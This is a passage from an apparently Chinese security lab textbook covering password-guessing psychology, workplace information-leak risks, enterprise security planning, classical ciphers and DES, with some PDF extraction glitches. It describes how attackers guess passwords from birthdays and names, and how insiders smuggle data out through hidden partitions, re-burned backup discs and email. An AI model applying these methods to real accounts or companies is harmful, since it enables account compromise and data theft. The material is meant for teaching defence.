你的密码,可是为了不至于很快被警察捉到,于是等到 1 年之后才动手;如果你怀疑自己 的帐号可能被他人登录过却并没有损失,不要迟疑,立即修改密码――黑客可能嫌你帐户N N10 实验 3密码心理学攻击中的金额还不够多,等着你将家里那 100 万元存入呢! 7. 大众密码 “aaa”、“123456”、“abcd”是不是密码呢?是的,而且还被许多人应用着。这 些密码同样也被黑客放在黑客词典的首页上。 这样的密码除了好记一些, 毫无安全性可言。 密码特征还有许多,这里列出的,都是容易遭受黑客尝试的一些。要获得比较安全的 密码,那么就应该尽量选择那些不容易被想到的密码特征来组合自己的密码并启用密码策 略。在 WindowsXP 系统中,密码策略在控制面板中的“性能和维护-管理工具-本地安全 策略-帐户策略-密码策略”中。密码策略对我们上面提到的一些特征进行了强制处理。 三. 黑客猜解密码的切入方法 黑客猜解密码的基本思路:一般猜解、利用搜索引擎猜解和配合社会工程学猜解。猜 解时主要考虑下面的心理原则: 1. 中文拼音 对中国人来说,一般都没有用英文名的习惯,所以很多人用中文拼音做密码;如果去 论坛之类的地方,对方会要求注册一个用户名,由于简称很容易被注册,所以一般用全称。 如果是密码,一般要倒过来考虑,先从简称再全称,理由是短,输入时间快,而且好记忆。 2. 简单数字 数字也是用得很多的,123,123456(因为一般我们的习惯是六位数字,包括银行的存 折都是六位,论坛最低要求也是六位),试一下 qq 的密码,其实不少人是这样的,特别是 新手。下面一些也是常用的:1,11,111,123,168,(特殊意义的数字)??。 3. 生日 生日用得特别多,有人把存折和身份证放一起丢了,盗贼用他的生日拿到了钱。这是 由于人们怕忘记密码,会造成不必要的麻烦,故使用自己永远都不会忘记的生日做密码。 上面说到的六位,所以刚刚好可以这样设置 790102,似乎很省事,可是一旦泄露麻烦就大 了。一般人都有这样的习惯:六位就是 790102,四位是 7912。如果那个月和日是只有一位 的,也就是 1~9,一般人就是用四位的,如:7632,而不是 760302,如果日期是双位的, 10~31,一般人也就是用到六位而不会是五位,如:760321 而不是 76321。如果月是双位, 一般日就是双位的,如:761203,而一般不是 76123。总体来说也就是月和日都是同样位 数的。因为这样比较美观。也有人不用日,只用到月,如:763,但对中国人来说 7603 用 得少,因为 0 看起来是多余的。 4. 形式单一 一个做暴力破解机软件的人,只要他思考过,而且技术上能达到的话,破解应该按照 这个顺序来:数字→字母→特殊符号。对方用户名一般不用大写字母,都是小写的多。例 如用 cyh 比 CYH 多,而且用 caiyihao 比用 CAIYIHAO 多。密码就要考虑大小写,理论上也 应该按照先小写再大写来。 因为用户输入大写字不是按 shift 键而是按 capslock 键, 所以 理论上来说,要使用大写则所有字母都会是大写。 5. 信息暴露 一个黑客会从细微入手分析用户的信息。从电子邮箱入手的话可以知道一些什么呢 ?11 第 1 部分 社会工程学例如:,可以看出来对方是使用姓名的全拼和生日做用户名。也 可通过昵称来获得用户信息。例如:QQ 昵称为“浩” ,很明显名里有“浩”字。 四. 针对密码的猜解,如何提高密码强壮性 1. 增加长度和样式 密码的位数不要短于 6 位,使用大写字母和小写字母、字符和数字的集合。 2. 避开个人信息 不要以任何单词、生日、数字、手机号做为密码,这种太容易被破解,例如生日,看 似有 8 位,但对于出生在 19XX 的人,一年只有 12 个月,一个月最多只有 31 天,几分钟就 可以试出来,都无需程序来计算。 3. 增加复杂性 密码中的英文最好有大小写之分;如果在程序允许的情况下,最好能加上英文半角的 符号;不要用 a、b、c 等比较小顺序的字母或数字开头,因为用字典暴力破解的程序,一 般都是从数字或英文字母排序开始算的,如果设为 z 的话,破解的机率就小很多。 4. 寻找一种相对复杂的规律 无规律性的密码不好记忆,有种比较简单的方法,例如密码是 blueidea,首先在头加 一个$号,成为$blueidea,然后在尾加上一个)号,成为$blueidea),这种还是不安全, 再 把 中 间 的 打 乱 , 成 为 $ideablue ) , 随 便 把 中 间 的 某 几 个 改 为 大 写 字 母 就 会 成 为 $IdeabLue),再加上一两个数字成为$I1de9ab9Lu8e20),这样密码的强壮性就大大提高 了。如果还是觉得不安全,可以继续把中间的字母打乱; 一些程序或注册入口对密码设定的比较死,只能用数字和字母。这种情况下可以把 blueidea 改变字母的大小写变成 bLUeIdEa, 打乱 EaIdbLUe, 再加上数字成为 E9aI4db2LU6e, 这样可以安全很多; 还可以用一句话来设定密码,例如“好好学习,天天向上”,先取拼音的第一个字母, hhxxttxs, 变成 h2x2ttxs, 再变成 H2X2tTXs, 再变成 tTXsH2X2, 加上头和尾, ItTXsH2X2O, 一个强壮的密码就诞生了。 5. 强记复杂密码 如果认为上述方法比较麻烦,可以强记两到三个比较复杂的密码,用的时候把它们重 新排序,例如常用密码为 ItTXs 和 Lu8e20,组合后为 ItTXsLu8e20,再打乱顺序就得到了 新密码 Lu8eItTXs20。 6. 提高个人电脑的安全性 注意在自己的电脑中安装比较可靠的杀毒软件,但如果电脑里有木马的话,再复杂的 密码也是没有任何作用的。故不要上不可信的网站,不要让别人很容易的得到你的信息。 这包括身份证号码、电话号码、社会安全号码、您的手机号码、您所居住街道的名字等等。 7. 掌握网络安全技巧 最好只注册那种用 MD5 算法进行加密的论坛,那样管理员就无法知道你的密码。 8. 定期更改密码12 实验 3密码心理学攻击例如每个月的第一个星期五,也不用重新想,可以把密码的排序更改一下,还好记忆。 9. 避免同一密码重复使用 不要所有的地方都用一个密码,根据重要和非重要的原则来设定密码。 10. 避免个人信息泄露 不要把自己的密码写在别人可以看到的地方,如笔记本,纸巾上等等,最好是强记在 脑子里,不要在输入密码的时候让别人看到,多练几次,打快点,旁人自然就看不到了, 更不能把自己的密码告诉别人,这样对自己对别人都是很不负责任的。13 实验 4安全细节问题麦当劳创始人克洛克说:“我强调细节的重要性。如果你想经营出色,就必须使每一 项基本的工作都尽善尽美。”而对网络安全工作者来说,在完善的安全体系上,充分的重 视安全细节问题,就是关闭最后一扇留给黑客的窗。俗话说:千里之堤,毁于蚁穴。在安 全细节上的一点疏忽,完全可能演变成一场网络安全的灾难。练习一一. 安全细节问题概述安全细节问题麦当劳创始人克洛克说: “我强调细节的重要性。如果你想经营出色,就必须使每一 项基本的工作都尽善尽美。 ” 随着信息技术和信息产业的发展,以 Internet 为代表的全球性信息化浪潮,使得信 息网络技术的应用日益普及,应用层次逐渐深入,应用领域从传统的小型业务系统逐渐向 大型的关键业务系统扩展,如党政部门信息系统、金融业务系统、企业商务系统等。越来 越多的企业建立了自己的企业网络,并与 Internet 相联。 在网络中存储、 传输和处理的信息有许多是重要的政府宏观调控决策、 商业经济信息、 银行资金转账、股票证券、能源资源数据、科研数据等重要信息。这些有的是敏感性信息, 有的甚至是国家机密。因此,各企业在信息化过程中,加强企业信息安全建设,及时采取 相应的防范措施,如加强计算机系统登录帐户和密码的安全、取消远程协助和远程桌面连 接、安装杀毒软件、安装防火墙和使用代理服务器等。然而,就在此时,可能又有企业因 为信息安全问题倒闭,因为信息安全问题造成经济损失。那是为何?因为老板们忽略了致 命的信息安全细节问题。 二. 30 个致命的信息安全细节 中国财富通过对 100 个经理人的调查总结了 30 个致命细节。 1. 打印机――10 秒延迟带来信息漏洞 即使是激光打印机,也有 10 秒以上的延迟,如果你不在第 9 秒守在打印机的旁边, 第一个看到文件的人可能就不是你了。大部分的现代化公司都使用公用的打印机,并且将 打印机、复印机等器材放在一个相对独立的空间里。于是,部门之间的机密文件就可以从 设备室开始,在其他部门传播,当部门之间没有秘密,公司也就没有秘密了。 2. 打印纸背面――好习惯换取的大损失14 实验 4安全细节问题节约用纸是很多公司的好习惯,员工往往会以使用背面打印纸为荣。其实,将拥有这 种习惯公司的“废纸”收集在一起,你会发现打印、复印造成的废纸所包含公司机密竟然 如此全面,连执行副总都会觉得汗颜,因为废纸记载了公司里比他的工作日记都全面的内 容。 3. 电脑易手――新员工真正的入职导师 我们相信,所有的职业经理人都有过这样的经历:如果自己新到一家公司工作,在自 己前任的电脑里漫游是了解新公司最好的渠道。在一种近似“窥探”的状态下,公司里曾 经发生过的事情“尽收眼底” ,从公司以往的客户记录、奖惩制度、甚至你还有幸阅读前任 的辞呈。如果是其他部门的电脑,自然也是另有一番乐趣。 4. 共享――做好文件,再通知窃取者 局域网中的共享是获得公司内部机密最后的通道。有的公司为了杜绝内部网络泄密, 规定所有人在共享以后一定要马上取消。实际上越是这样,企业通过共享泄露机密的风险 越大。因为当人们这样做的时候,会无所顾及地利用共享方式传播信息,人们习惯的方式 是在开放式办公间的这边对着另一边的同事喊:“我放在共享里了,你来拿吧――” ,没错, 会有人去拿的,却往往不只是你期望的人。 5. 指数对比――聪明反被聪明误 在传统的生产型企业之间,经常要推测竞争对手的销售数量、生产数量。于是,人们 为了隐藏自己的实际数量,而引入了统计学里的指数,通过对实际数量的加权,保护自己 的机密信息。唯一让人遗憾的是,通常采取的简单基期加权,如果被对方了解到几年内任 何一个月的真实数量,所有的真实数量就一览无余地出现在竞争对手的办公桌上了。 6. 培训――信息保卫战从此被动 新员工进入公司,大部分的企业会对新员工坦诚相见。从培训的第一天开始,新员工 以“更快融入团队”的名义,接触公司除财务以外所有的作业部门,从公司战略到正在采 取的战术方法,从公司的核心客户到关键技术。但事实上,总有超过五分之一的员工会在 入职三个月以后离开公司。同时,他们中的大部分没有离开现在从事的行业,或许正在向 你的竞争对手眉飞色舞地描述你公司的一草一木。 7. 传真机――你总是在半小时后才拿到发给你的传真 总有传真是“没有人领取”的,每周一定有人收不到重要的传真。人们总是“惊奇地” 发现,自己传真纸的最后一页是别人的开头,而你的开头却怎么也找不到了。 8. 公用设备――不等于公用信息 在小型公司或者一个独立的部门里,人们经常公用 U 盘、软盘或手提电脑。如果有机 会把 U 盘借给公司的新会计用, 也就有可能在对方归还的时候轻易获得本月的公司损益表。 9. 摄像头――挥手之间断送的竞标机会 总部在上海的一家国内大型广告公司,在 2004 年 3 月出现的那一次信息泄露,导致 竞标前一天,广告创意被竞争对手窃取,原因竟然是主创人员的 OICQ 上安装了视频,挥手 之间,断送的或许并不仅仅是一次合作的机会。 10. 产品痕迹――靠“痕迹”了解你的未来15 第 1 部分 社会工程学在市场调查领域,分析产品痕迹来推断竞争对手行销效果和行销策略是通用的方法。 产品的运输、仓储、废弃的包装,都可以在竞争对手购买的调研报告中出现,因为“痕迹 分析”已经是商业情报收集的常规手段。 11. 压缩软件――对信息安全威胁最大的软件 ZIP、RAR 是威胁企业信息安全最大的软件。3 寸软盘的存储空间是 1.4M,压缩软件可 以让大型的 WORD 文件轻松存入一张软盘,把各种资料轻松带出公司。 12. 光盘刻录――资料在备份过程中流失 如果想要拿走公司的资料,最好的办法是申请光盘备份,把文件做成特定的格式,交 给网络管理员备份,然后声称不能正常打开,要求重新备份,大多情况下,留在光驱里的 “废盘”就可以在下班后大大方方带出公司。 13. 邮箱――信息窃取的中转站 利用电子邮件转移窃取的公司资料占所有信息窃取的八成以上。很多企业不装软驱、 光驱、USB 接口,却没有办法避免员工通过电子邮件窃取信息,相比之下,以上方法显得 有些幼稚、可笑。 14. 隐藏分区――长期窃取公司资料必备手法 长期在公司内搜集资料,用来出售或保留,总是件危险的事情。自己的电脑总是不免 被别人使用,发现电脑里有不该有的东西怎么行。于是隐藏在硬盘分区就成了最佳选择, 本来有 C、D、E 三个虚拟分区,可以把 E 隐藏起来,只有自己可以访问。当然,如果遇到 行家,合计一下所有磁盘的总空间,可就一定露馅了。 15. 私人电脑――大量窃取资料常用手段 压缩软件的作用毕竟是有限的,如果把自己的笔记本电脑拿到单位来,连上局域网, 只要半小时,就是有 1 个 G 的文件也可以轻松带走。 16. 会议记录――被忽视的公司机密 秘书往往把会议记录看得很平常,他们不知道一次高层的会议记录对于竞争对手意味 着什么,公司里经常可以看见有人把会议记录当成废纸丢来丢去,任由公司最新的战略信 息在企业的任何角落出现。 17. 未被采纳的策划案――放弃也是一种选择 策划人员知道被采纳的策划是公司机密,却往往不知道被放弃的策划也是公司机密。 有时还会对客户或媒体谈起, 而竞争对手可以轻松判断:你没有做这些, 就一定选择做了那 些! 18. 客户――你的机密只是盟友的谈资 经常可以在网络上看到著名咨询公司的客户提案,这些精心制作的 PPT,凝聚了咨询 公司团队的汗水和无数个不眠之夜,在一些信用较差的客户手里可能只是一些随意传播的 谈资。 19. 招聘活动――你的公司竟然在招聘总监? 在招聘过程中,成熟的企业不会把招聘的所有岗位都登在一张广告里,因为那无异于16 实验 4安全细节问题告诉你的竞争对手:刚刚发生过人力震荡,人力匮乏。 20. 招标前两分钟――最后的底价总是在最后“出炉” 如果投标的底价内部公开越早,出现泄露的风险越大,在招标开始前两分钟,面对关 掉手机的参会者,可以公布底价了! 21. 解聘后半小时――不要给他最后的机会 如果被解雇的员工是今天才得到这个消息,那么,不要让他再回到他的电脑旁。半个 小时的时间,刚好可以让他收拾自己的用品,和老同事做简短的告别,天下没有不散的筵 席,半小时足够了,为了离职员工的清白,更为了信息安全。 22. 入职后一星期――新人在第一个星期里收集的资料是平时的 5 倍 只有在这一个星期里,他是随时准备离开的,他时刻处在疯狂的拷贝和传送状态,提 防你的新员工,无论你多么欣赏他。 23. 合作后半个月――竞争对手窃取情报的惯用手法是:假冒客户 在初次合作的半个月里,你对信息安全的谨慎只能表明企业做事的严谨,可以赢得大 部分客户的谅解和尊敬。除非,他是你的竞争对手。 24. 离职后 30 天――危险来自公司以外 一般情况下,一个为企业服务半年以上的员工,离职后 30 日之内会和公司现有员工 保持频繁的联系,并且对公司的资料和状况表现出极度的热情。如果是被限时离开,那么, 在离职 30 天内通过老同事窃取公司信息的可能性就更大。 25. 明确对外提案原则 能不留东西的就不给打印稿,能不给电子档的就尽量给打印稿,能用电子书就不用通 用格式。 26. 保密协议――无论作用大小,和员工签定清晰的保密协议还是必要的 无规矩不成方圆,明确什么是对的,人们才可以杜绝错的。保密协议的内容越详细越 好,如果对方心胸坦白,自然会欣然同意。 27. 责任分解――明确每个人对相关信息的安全责任 所有的机密文件如果出现泄露,可以根据规定找到责任人,追究是次要的,相互监督 和防范才是责任分解的最终目的。 28. 设立信息级别――对公司的机密文件进行级别划分 比如合同、客户交往、股东情况列为一级,确定机密传播的范围,让所有人了解信息 的传播界限,避免因为对信息的不了解而导致的信息安全事故。 29. 异地保存――别把鸡蛋放在同一个篮子里 所有备份资料尽量做到异地保存,避免因为重大事故(如:火灾、地震、战争等)给企 业信息带来致命的打击。 30. 认为自己的企业在信息安全上无懈可击 三. 企业安全计划(ESP)的制定与实施17 第 1 部分 社会工程学可见,对企业 IT 来说,如何制定并实施企业安全计划(ESP)是一件至关重要的任务, 专家建议可以分成以下 9 个步骤来加强对信息安全细节问题的管理。 1. 建立信息安全团队 一般而言,企业需要建立两支团队:管理团队和跨职能安全团队。管理团队通常由高 层管理人员组成,负责制定 ESP 目标、安全策略总纲、获取预算,并建立跨职能安全团队。 而跨职能安全团队则负责日常的 IT 安全运作,包括管理 IT 资产、评估威胁与攻击、管理 风险、建立策略、建立流程和控制,执行内部审计,并提供培训。 2. 管理信息资产 管理信息资产是从执行现有 IT 资产调查开始入手。调查范围包括硬件、应用(内部或 第三方)、数据库和其它信息资产(比如网络共享文件夹、ftp 站点等)。调查完成后,每种 资产必须指明所有人或管理人,然后根据不同的风险等级、商业价值等级或受到安全威胁 后公司需要付出的成本进行分类。 3. 评估威胁、弱点和风险 威胁是指会对信息资产构成风险的源头,列出所有的潜在威胁,基于它们的重要性进 行分类评级。弱点是指可能造成安全泄露的薄弱环节,范围包括人员、流程和技术。而风 险是指可能对企业造成不可预见的负面影响的事件,比如员工在 email 中打开不知明的附 件,中了病毒或恶意程序等。 4. 管理风险 风险管理应当围绕避免、减弱或转移展开。在判定出风险等级后,就可以通过不同的 方式加以处理。比如可以通过使用 LotusNotes 替代 Outlook、安装最新的防毒软件、培训 员工加强风险意识,不要打开未知附件,或将 email 服务外包给第三方来转移风险。 5. 建立事件管理和容灾恢复计划 事件管理定义比较广泛,包括防止安全泄露、控制 IT 资产流失、保护关键数据的误 删除,或对数据中心可能发生的供电中断做出准备等。妥善的事件管理计划应当能对所有 可预见的问题做出快速响应。而根据自然力量造成的不可预见事件所做出的响应计划则被 称为容灾恢复计划。 6. 管理第三方 在信息生态链上,复杂性与风险性还会来自于第三方,比如服务提供商、软件厂商或 任何中间媒介。第三方网络或实践上的不安全性随时会对企业造成不同程度的安全漏洞。 列出所有你所使用的第三方公司,根据信息的延伸、分享程度,以及重要性划分等级。 审核第三方是否拥有安全测量实践,并在必要时进行控制干预。 7. 实施安全控制 安全控制一般分为两类:技术控制保护电脑硬件、软件或固体 (比如访问控制机制、 识别和授权机制、加密方式、入侵侦测软件等)。非技术控制管理并执行如安全策略、操作 流程、人员、物理和环境安全。 另一种常见的控制分类方法是分为预防型控制和侦测型控制。预防性控制是通过安全 策略来抑制威胁攻击,而侦测型控制则是属于被动式,通过提示来向操作或管理人员表明18 实验 4安全细节问题正在发生的攻击意图。 8. 培训 培训往往是企业最容易忽略,也不愿去做出投入的一个部分。其实,哪怕技术保护和 安全测量手段再先进,如果员工的安全意识薄弱,也难以充分发挥应有的作用。而培训员 工提高安全意识,才是加强 ESP 的关键。 9. 审计 通过定期的内部审计来确保策略和流程的有效,控制的正确实施,和要求完全符合, 风险等级在可管理范围内,并定时更新各种安全和培训计划。有些大型企业也会使用外部 审计,好处是第三方能够提供客观、中立的安全评估和建议。 如今的信息安全不再是 IT 一个部门的事。随着信息生态链的复杂化,信息对企业重 要性的提高,以及安全威胁的增多,保护信息安全已成为整个企业的共同责任。而制定一 份可行、有效的 ESP 计划,能帮助企业多增加一层防护罩。 老子云:天下难事,必做于易;天下大事,必做于细。企业的进步需要依靠精益求精 的细节管理,只有“举轻若重” ,做好每一个细节,才能达到“举重若轻”的境界。加强信 息安全细节问题的管理,期待你和你的企业逐步迈向成功!19 第 2 部分密码学及应用富兰克林曾经说过“三个人也能保密,如果其中两个人已经死了” ,用这句话来描述 密码学在人们心中的重要地位再恰当不过了。 作为信息安全的核心技术――现代密码技术、 计算机应用编码技术和密码学的应用技术已经成为计算机科学、电子与通信、数学等相关 学科专业工程师、本科生、研究生必须掌握的知识。20 实验 1古典密码算法古典密码算法曾经被广泛应用,大都比较简单,使用手工和机械操作来实现加密和解 密。它的主要对象是文字信息,利用密码算法实现文字信息的加密和解密。古典密码学可 以分为代替密码(也叫做移位密码)和置换密码(也叫做换位密码)两种,其中代替密码 典型的有 Caesar 密码,数乘密码和仿射变换等,置换密码有单表置换和多表置换等。练习一一. Caesar(恺撒)密码Caesar 密码Caesar 密码是传统的代替加密法,当没有发生加密(即没有发生移位)之前,其置换 表如 1-1-1 所示。表 1-1-1 Caesar 置换表 a A n N b B o O c C p P d D q Q e E r R f F s S g G t T h H u U i I v V j J w W k K x X l L y Y m M z Z加密时每一个字母向前推移 k 位,例如当 k=5 时,置换表如 1-1-2 所示。表 1-1-2 Caesar 置换表 a F n S b G o T c H p U d I q V e J r W f K s X g L t Y h M u Z i N v A j O w B k P x C l Q y D m R z E于是对于明文:datasecurityhasevolvedrapidly 经过加密后就可以得到密文:IFYFXJHZWNYDMFXJATQAJIWFUNIQD 若令 26 个字母分别对应整数 0~25,如表 1-1-3 所示。21 第 2 部分密码学及应用表 1-1-3 Caesar 置换表 a 0 n 13 b 1 o 14 c 2 p 15 d 3 q 16 e 4 r 17 f 5 s 18 g 6 t 19 h 7 u 20 i 8 v 21 j 9 w 22 k 10 x 23 l 11 y 24 m 12 z 25则 Caesar 加密变换实际上是: c=(m+k)mod26 其中 m 是明文对应的数据,c 是与明文对应的密文数据,k 是加密用的参数,也称为 密钥。 很容易得到相应的 Caesar 解密变换是: m=D(c)=(cCk)mod26 例如明文:datasecurity 对应的数据序列: 781924 当 k=5 时经过加密变换得到密文序列: 213243 对应的密文为: IFYFXJHZWNYD练习二一. 单表置换密码单表置换密码单表置换密码也是一种传统的代替密码算法,在算法中维护着一个置换表,这个置换 表记录了明文和密文的对照关系。当没有发生加密(即没有发生置换)之前,其置换表如 1-2-1 所示。表 1-2-1 a A n N b B o O c C p P d D q Q e E r R f F s S g G t T 置换表 h H u U i I v V j J w W k K x X l L y Y m M z Z在单表置换算法中,密钥是由一组英文字符和空格组成的,称之为密钥词组,例如当 输入密钥词组:ILOVEMYCOUNTRY 后,对应的置换表如表 1-2-2 所示。22 实验 1古典密码算法 置换表 h C u P i U v Q j N w S k T x W l R y X m A z Z表 1-2-2 a I n B b L o D c O p F d V q G e E r H f M s J g Y t K在表 1-2-2 中 ILOVEMYCUNTR 是密钥词组 ILOVEMYCOUNTRY 略去前面已出现过的字符 O 和 Y 依次写下的。 后面 ABD??WXZ 则是密钥词组中未出现的字母按照英文字母表顺序排列 成的,密钥词组可作为密码的标志,记住这个密钥词组就能掌握字母加密置换的全过程。 这样对于明文:datasecurityhasevolvedrapidly,按照表 1-2-2 的置换关系,就可 以得到密文:VIKIJEOPHUKXCIJEQDRQEVHIFUVRX。练习三一. 概述仿射密码仿射密码是一种替换密码。它是一个字母对一个字母的。它的加密过程可以表示为下 面的函数: e(x)=(ax+b)modm 其中,a 和 m 互质,m 是字母的数目。它的解密过程可以表示为下面的函数: d(x)=a^(x-b)\modm 其中 a^是 a 对 m 的乘法逆元。 二. 原理 在有限维的情况,每个仿射变换可以由一个矩阵 A 和一个向量 b 给出,它可以写作 A 和一个附加的列 b。一个仿射变换对应于一个矩阵和一个向量的乘法,而仿射变换的复合 对应于普通的矩阵乘法,只要加入一个额外的行到矩阵的底下,这一行全部是 0 除了最右 边是一个 1,而列向量的底下要加上一个 1。 AffineTransform 类描述了一种二维仿射变换的功能,它是一种二维坐标到二维坐标 之间的线性变换,保持二维图形的“平直性”(译注:straightness,即变换后直线还是 直线不会打弯,圆弧还是圆弧)和“平行性”(译注:parallelness,其实是指保二维图 形间的相对位置关系不变,平行线还是平行线,相交直线的交角不变。仿射变换可以通过 一系列的原子变换的复合来实现, 包括: 平移 (Translation) 、 缩放 (Scale) 、 翻转 (Flip) 、 旋转(Rotation)和错切(Shear)。此类变换可以用一个 3×3 的矩阵来表示,其最后一 行为(0,0,1)。 该变换矩阵将原坐标(x,y)变换为新坐标(x',y'), 这里原坐标和新坐标皆视 为 最 末 一 行 为 (1) 的 三 维 列 向 量 , 原 列 向 量 左 乘 变 换 矩 阵 得 到 新 的 列 向 量 : [x']=[m00m01m02][x]=[m00*x+m01*y+m02][y']=[m10m11m12][y]=[m10*x+m11*y+m12][1][ 001][1][1]23 第 2 部分密码学及应用三. 示例 几 种 典 型 的 仿 射 变 换 : publicstaticAffineTransformgetTranslateInstance (doubletx,doublety) 平 移 变 换 , 将 每 一 点 移 动 到 (x+tx,y+ty) , 变 换 矩 阵 为 : [10tx][01ty][001] publicstaticAffineTransformgetScaleInstance(doublesx,doublesy)。 缩放变换,将每一点的横坐标放大(缩小)至 sx 倍,纵坐标放大(缩小)至 sy 倍, 变换矩阵为:[sx00][0sy0][001],当 sx=sy 时,称为尺度缩放,sx 不等于 sy 时,这就是 我 们 平 时 所 说 的 拉 伸 变 换 。 publicstaticAffineTransformgetShearInstance (doubleshx,doubleshy)剪切变换,变换矩阵为:[1shx0][shy10][001],相当于一个横向 剪切与一个纵向剪切的复合[100][1shx0][shy10][010][001][001]。练习四维吉尼亚密码为了提高密码的破译难度,人们有发明一种多表置换的密码,即一个明文字母可以表 示为多个密文字母, 多表密码加密算法结果将使得对单表置换用的简单频率分析方法失效, 其中维吉尼亚密码就是一种典型的加密方法。维吉尼亚密码是使用一个词组(语句)作为 密钥,词组中每一个字母都作为移位替换密码密钥确定一个替换表,维吉尼亚密码循环的 使用每一个替换表完成明文字母到密文字母的变换,最后所得到的密文字母序列即为加密 得到的密文,具体过程如下: 设 m 是一个正整数,且 i?j?m,密钥为 K=(K1,K2??Km),则: 第 i 组的明文为 Pi=(Pi1,Pi2??Pim) 第 i 组的密文为 Ci=(Ci1,Ci2??Cim) 那么加密公式为 Cij≡Pij+Kij(mod26) 解密公式为 Pij≡Cij-Kij(mod26) 最后把密文编码转换成文本。 维吉尼亚密码的加密过程可以表示为下面的函数: ek(x1,x2......xm)=(x1+k1,x2+k2......xm+km) 其中,m 是一个正整数,定义 P=C=(Z20)m,对任意密钥 k=(k1,k2......km)。它的解 密过程可以表示为下面的函数: dk(y1,y2......ym)=(y1-k1,y2-k2......ym-km) 以上运算都是在 26 上进行的。 维吉尼亚密码的每个密钥相当于一个长度为 m 的字母串,称为密钥字。维吉尼亚密码 一次加密 m 个明文字母。维吉尼亚密码的密钥空间大小为 26m,所以即使 m 的值很小,使 用穷尽密钥搜索方法也需要很长的时间。 由于频率分析法可以有效的破解单表替换密码,法国密码学家维吉尼亚于 1586 年提 出一种多表替换密码, 即维吉尼亚密码, 也称维热纳尔密码。 维吉尼亚密码引入了“密钥” 的概念,即根据密钥来决定用哪一行的密表来进行替换,以此来对抗字频统计。Aigpehu24 实验 1古典密码算法加密算法:例如密钥的字母为[d],明文对应的字母。根据字母表的顺序[d]=4,=2, 那么密文就是[d]+-1=4+2-1=5=[e],因此加密的结果为[e]。解密即做此逆运算。 加密公式:密文=(明文+密钥)Mod26-1 解密公式:明文=[26+(密文-密钥)]Mod26+1 也可以用查表法来进行加密:例如密钥的字母为[d],明文对应的字母,在下图的表 格第一行找到字母&d&(深蓝色),再在左边第一列找到字母&b&(绿色),两个字母的交叉点 (b 行 d 列)就是字母&E&,所以对应的密文字母为[e]。图 1-4-1维吉尼亚密码 26 矩阵25 实验 2对称密码算法对称密钥加密机制即对称密码体系,也称为单钥密码体系和传统密码体系。对称密码 体系通常分为两大类,一类是分组密码(如 DES、AES 算法) ,另一类是序列密码(如 RC4 算法) 。练习一一. 对称密钥加密机制DES 算法对称密钥加密机制即对称密码体系,也称为单钥密码体系和传统密码体系。对称密码 体系通常分为两大类,一类是分组密码(如 DES、AES 算法) ,另一类是序列密码(如 RC4 算法) 。 对称密码体系加密和解密时所用的密钥是相同的或者是类似的,即由加密密钥可以很 容易地推导出解密密钥,反之亦然。同时在一个密码系统中,我们不能假定加密算法和解 密算法是保密的,因此密钥必须保密。发送信息的通道往往是不可靠的或者不安全的,所 以在对称密码系统中,必须用不同于发送信息的另外一个安全信道来发送密钥。图 2-1-1 描述了对称密码(传统密码)系统原理框架, 其中 M 表示明文; C 表示密文; E 表示加密算法; D 表示解密算法;K 表示密钥;I 表示密码分析员进行密码分析时掌握的相关信息;B 表示 密码分析员对明文 M 的分析和猜测。图 2-1-1传统密码系统原理框架图对称密码体系的优点:26 实验 2● ● ● ●对称密码算法加密效率高,硬件实现可达每秒数百兆字节(软件实现略慢一些) 。 密钥相对比较短。 可以用来构造各种密码机制。 可以用来建造安全性更强的密码。 通信双方都要保持密钥的秘密性。 在大型网络中,每个人需持有许多密钥。 为了安全,需要经常更换密钥。对称密码体系的缺点:● ● ●二. DES 加密算法简介 1973 年 5 月 15 日,美国国家标准局在联邦注册报上发表一则启事,公开征集用来保 护传输和静止存储的计算机数据的密码算法,这一举措最终导致了数据加密标准 DES 的出 现。DES 采用分组乘积密码体制,它是由 IBM 开发的,是对早期 Lucifer 密码体制的改进。 DES 在 1975 年 3 月 17 日首次在联邦记录中公布,而且声明对此算法征求意见。到 1977 年 2 月 15 日拟议中的 DES 被采纳为“非密级”应用的一个联邦标准。 最初预期 DES 作为一个标准只能使用 10 至 15 年。然而,出于种种原因,可能是 DES 还没有受到严重的威胁,事实证明了 DES 要长寿得多。在其被采用后,大约每隔 5 年被评 审一次。DES 的最后一次评审是在 1999 年 1 月。但是,随着计算机计算能力的提高,由于 DES 的密钥过短,仅有 56 位,对 DES 的成功攻击也屡见报导。例如:1999 年 1 月,RSA 数 据安全公司宣布: 该公司所发起的对 56 位 DES 的攻击已经由一个称为电子边境基金的组织, 通过互联网上的 100000 台计算机合作在 22 小时 15 分钟内完成。 NIST(美国国家标准研究所)于 1997 年发布公告征集新的数据加密标准作为联邦信 息处理标准以代替 DES。新的数据加密标准称为 AES。尽管如此,DES 的出现仍然是现代密 码学历史上一个非常重要的事件。它对于我们分析掌握分组密码的基本理论与设计原理仍 然具有重要的意义。 三. DES 加密流程 如图 2-1-2 所示,对于任意长度的明文,DES 首先对其进行分组,使得每一组的长度 为 64 位,然后分别对每个 64 位的明文分组进行加密。 对于每个 64 位长度的明文分组的加密过程如下: (1) 初始置换:输入分组按照初始置换表重排次序,进行初始置换。 (2) 16 轮循环:DES 对经过初始置换的 64 位明文进行 16 轮类似的子加密过程。每一 轮的子加密过程要经过 DES 的 f 函数,其过程如下:●将 64 位明文在中间分开,划分为 2 部分,每部分 32 位,左半部分记为 L,右半部 扩展置换: 扩展置换将 32 位的输入数据根据扩展置换表扩展成为 48 位的输出数据。 异或运算:将 48 位的明文数据与 48 位的子密钥进行异或运算(48 位子密钥的产生 S 盒置换:S 盒置换是非线性的,48 位输入数据根据 S 盒置换表置换成为 32 位输出分记为 R,以下的操作都是对右半部分数据进行的。● ●过程在实验原理八.子密钥产生过程中有详细讨论) 。●数据。27 第 2 部分● ●密码学及应用直接置换:S 盒置换后的 32 位输出数据根据直接置换表进行直接置换。 经过直接置换的 32 位输出数据与本轮的 L 部分进行异或操作, 结果作为下一轮子加密过程的 R 部分。本轮的 R 部分直接作为下一轮子加密过程的 L 部分。然后进入下一轮子 加密过程,直到 16 轮全部完成。 (3) 终结置换:按照终结置换表进行终结置换,64 位输出就是密文。 在每一轮的子加密过程中,48 位的明文数据要与 48 位的子密钥进行异或运算,子密 钥的产生过程如下:●循环左移:根据循环左移表对 C 和 D 进行循环左移。循环左移后的 C 和 D 部分作为 将 C 和 D 部分合并成为 56 位的数据。 压缩型换位 2:56 位的输入数据根据压缩型换位 2 表输出 48 位的子密钥,这 48 位下一轮子密钥的输入数据,直到 16 轮全部完成。● ●的子密钥将与 48 位的明文数据进行异或操作。28 实验 2对称密码算法图 2-1-2 DES 加密流程四. DES 的分组过程 DES 